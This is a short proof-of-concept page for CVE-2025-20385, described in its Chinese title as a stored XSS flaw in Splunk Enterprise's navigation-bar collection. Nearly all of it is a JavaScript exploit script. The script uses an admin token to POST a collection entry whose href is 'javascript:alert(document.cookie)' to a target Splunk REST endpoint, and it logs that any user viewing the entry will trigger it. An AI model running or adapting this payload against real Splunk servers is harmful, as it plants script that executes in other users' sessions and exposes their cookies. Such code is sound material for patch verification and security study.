CVE-2025-20385: Splunk Enterprise 导航栏Collection存储型XSS漏洞

// CVE-2025-20385 PoC - Splunk Stored XSS in Navigation Collection // Requires admin_all_objects privilege const splunkEndpoint = 'https://target-splunk.com:8089/servicesNS/nobody/search/data/ui/collections'; const authToken = 'YOUR_AUTH_TOKEN_HERE'; // Malicious payload for href attribute XSS const maliciousPayload = { "collectionName": "malicious_collection", "entry": { "name": "evil_link", "content": { "href": "javascript:alert(document.cookie)", "label": "Click Me" } } }; async function exploit() { try { // Step 1: Create malicious collection entry const createResponse = await fetch(splunkEndpoint, { method: 'POST', headers: { 'Authorization': `Splunk ${authToken}`, 'Content-Type': 'application/json' }, body: JSON.stringify(maliciousPayload) }); if (createResponse.ok) { console.log('[+] Malicious collection entry created successfully'); console.log('[+] XSS payload injected into href attribute'); console.log('[+] Any user viewing this collection will trigger the XSS'); } } catch (error) { console.error('[-] Exploitation failed:', error.message); } } exploit();